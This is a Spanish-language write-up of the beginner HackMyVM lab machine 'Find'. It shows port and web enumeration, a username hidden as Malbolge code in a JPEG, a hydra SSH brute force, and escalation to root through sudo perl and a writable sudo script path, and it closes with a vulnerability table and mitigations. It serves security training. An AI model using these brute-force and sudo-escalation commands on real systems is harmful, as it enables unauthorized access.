Find
Introducción
Sección titulada «Introducción»Este documento detalla la metodología y procedimiento completo para comprometer la máquina Find, desarrollada por powerful para HackMyVM y clasificada con dificultad Principiante. Esta máquina presenta un escenario donde técnicas de análisis forense, decodificación de lenguajes esotéricos y mala configuración de permisos sudo permiten una escalada de privilegios controlada.
La resolución sigue una metodología estructurada:
- Reconocimiento: Enumeración de servicios y descubrimiento de información oculta en archivos.
- Explotación: Análisis forense digital, decodificación de Malbolge y ataque de fuerza bruta.
- Escalada de privilegios: Abuso de permisos sudo mediante Perl y ejecución de scripts personalizados.
El entorno de prueba fue desplegado en VirtualBox utilizando una imagen OVA proporcionada por HackMyVM, simulando vulnerabilidades típicas en entornos CTF.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | Find |
| Autor | powerful |
| Dificultad | Principiante |
| Fecha | 17/05/2022 |
| Plataforma | HackMyVM |
| Formato | Imagen OVA |
| IP Objetivo | 192.168.100.13 |
Fase 1 — Despliegue y Configuración
Sección titulada «Fase 1 — Despliegue y Configuración»1.1 Descarga y Preparación
Sección titulada «1.1 Descarga y Preparación»Descargamos la máquina desde HackMyVM y la desplegamos en VirtualBox como una imagen OVA.
1.2 Identificación de la IP
Sección titulada «1.2 Identificación de la IP»Una vez iniciada la máquina, obtenemos la dirección IP asignada:
Dirección IP objetivo: 192.168.100.131.3 Organización del Workspace
Sección titulada «1.3 Organización del Workspace»Creamos una estructura organizada para documentar el proceso:
mkdir -p Find/{content,exploits,nmap,web,scripts}cd FindFase 2 — Reconocimiento
Sección titulada «Fase 2 — Reconocimiento»2.1 Escaneo de Puertos
Sección titulada «2.1 Escaneo de Puertos»Ejecutamos un escaneo TCP SYN para identificar servicios expuestos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 192.168.100.13 -oG allPortsResultados:
- 22/tcp — SSH (Secure Shell)
- 80/tcp — HTTP (Web Server)

Figura 1: Servicios expuestos en la máquina
2.2 Enumeración Web
Sección titulada «2.2 Enumeración Web»Realizamos un escaneo exhaustivo de directorios:
gobuster dir -u http://192.168.100.13 -w WORDLIST -x html,php,txt -t 50 -k -r
Figura 2: Recursos web descubiertos
Resultados obtenidos:
/index— Página principal generada automáticamente por Apache/cat.jpg— Imagen de un gato con contenido oculto/robots.txt— Indica que hay que encontrar un usuario
2.3 Análisis de Contenido Web
Sección titulada «2.3 Análisis de Contenido Web»Descargamos y analizamos los recursos encontrados:
wget http://192.168.100.13/cat.jpgFase 3 — Explotación
Sección titulada «Fase 3 — Explotación»3.1 Análisis de la Imagen
Sección titulada «3.1 Análisis de la Imagen»Analizamos la imagen cat.jpg con diversas herramientas, pero no encontramos resultados interesantes en análisis convencionales. Al examinar el contenido directamente:
cat cat.jpg
Figura 3: Datos adicionales al final del archivo JPEG
3.2 Identificación del Lenguaje Esotérico
Sección titulada «3.2 Identificación del Lenguaje Esotérico»El contenido adicional corresponde a código en Malbolge, un lenguaje de programación esotérico diseñado para ser extremadamente difícil.
3.3 Decodificación del Malbolge
Sección titulada «3.3 Decodificación del Malbolge»Utilizamos herramientas especializadas para interpretar el código:

Figura 4: Nombre de usuario obtenido de Malbolge
Nombre de usuario descubierto: missyred
3.4 Ataque de Fuerza Bruta SSH
Sección titulada «3.4 Ataque de Fuerza Bruta SSH»Con el nombre de usuario descubierto, realizamos un ataque de fuerza bruta:
hydra -l missyred -P rockyou.txt ssh://192.168.100.13 -I
Figura 5: Contraseña SSH comprometida
Credenciales obtenidas:
- Usuario:
missyred - Contraseña:
mypasswordis123
3.5 Acceso Inicial al Sistema
Sección titulada «3.5 Acceso Inicial al Sistema»Nos conectamos al sistema mediante SSH:
ssh missyred@192.168.100.13
Figura 6: Acceso SSH como usuario missyred
Fase 4 — Escalada de Privilegios
Sección titulada «Fase 4 — Escalada de Privilegios»4.1 Enumeración del Sistema
Sección titulada «4.1 Enumeración del Sistema»Comenzamos la enumeración post-explotación:
sudo -l
Figura 7: Permisos sudo que permiten ejecutar Perl como kings
Hallazgo: (kings) NOPASSWD: /usr/bin/perl
4.2 De missyred → kings
Sección titulada «4.2 De missyred → kings»Utilizamos Perl para obtener una shell como kings:
sudo -u kings perl -e 'exec "/bin/bash";'
Figura 8: Acceso como usuario kings obtenido
4.3 De kings → root
Sección titulada «4.3 De kings → root»4.3.1 Verificación de Privilegios Sudo
Sección titulada «4.3.1 Verificación de Privilegios Sudo»sudo -l
Figura 9: Permisos sudo que permiten ejecutar script específico
Hallazgo: (root) NOPASSWD: /opt/boom/boom.sh
4.3.2 Creación del Script Malicioso
Sección titulada «4.3.2 Creación del Script Malicioso»El script no existe, así que lo creamos:
mkdir /opt/boomcd /opt/boomnano /opt/boom/boom.sh
# Contenido del script:#!/bin/bash/bin/bash4.3.3 Configuración de Permisos y Ejecución
Sección titulada «4.3.3 Configuración de Permisos y Ejecución»chmod +x /opt/boom/boom.shsudo /opt/boom/boom.sh
Figura 10: Acceso root obtenido exitosamente
4.4 Verificación Final
Sección titulada «4.4 Verificación Final»idwhoamiAnálisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»5.1 Fallos de Seguridad Identificados
Sección titulada «5.1 Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto | CWE/Referencia |
|---|---|---|---|
| Información sensible en archivos públicos | Media | Exposición de nombres de usuario | CWE-200 |
| Contenido oculto en imágenes sin protección | Baja | Ocultamiento de información crítica | CWE-312 |
| Contraseñas SSH débiles y predecibles | Alta | Acceso inicial comprometido | CWE-521 |
| Configuración insegura de sudo (perl) | Alta | Escalada horizontal de privilegios | CWE-269 |
| Permisos sudo para scripts en rutas escribibles | Crítica | Escalada vertical a root | CWE-732 |
5.2 Recomendaciones de Mitigación
Sección titulada «5.2 Recomendaciones de Mitigación»-
Gestión de Información en Recursos Públicos:
- Evitar almacenar información sensible en archivos accesibles públicamente
- Implementar sanitización de metadatos en imágenes
- Utilizar robots.txt apropiadamente sin revelar información crítica
-
Protección de Credenciales SSH:
- Implementar políticas de contraseñas complejas
- Deshabilitar autenticación por contraseña, usar claves SSH
- Configurar fail2ban para proteger contra fuerza bruta
-
Configuración Segura de Sudo:
- Especificar comandos exactos con argumentos completos
- Evitar binarios que permitan ejecución de shell como Perl, bash, python
- Implementar el principio de mínimo privilegio
-
Protección de Rutas de Ejecución:
- Establecer permisos adecuados en directorios como /opt/
- Utilizar rutas absolutas con permisos restringidos
- Implementar verificación de integridad de scripts ejecutados con privilegios
-
Monitoreo y Auditoría:
- Implementar logging de uso de comandos sudo
- Monitorear creación de archivos en directorios privilegiados
- Realizar revisiones periódicas de configuración de seguridad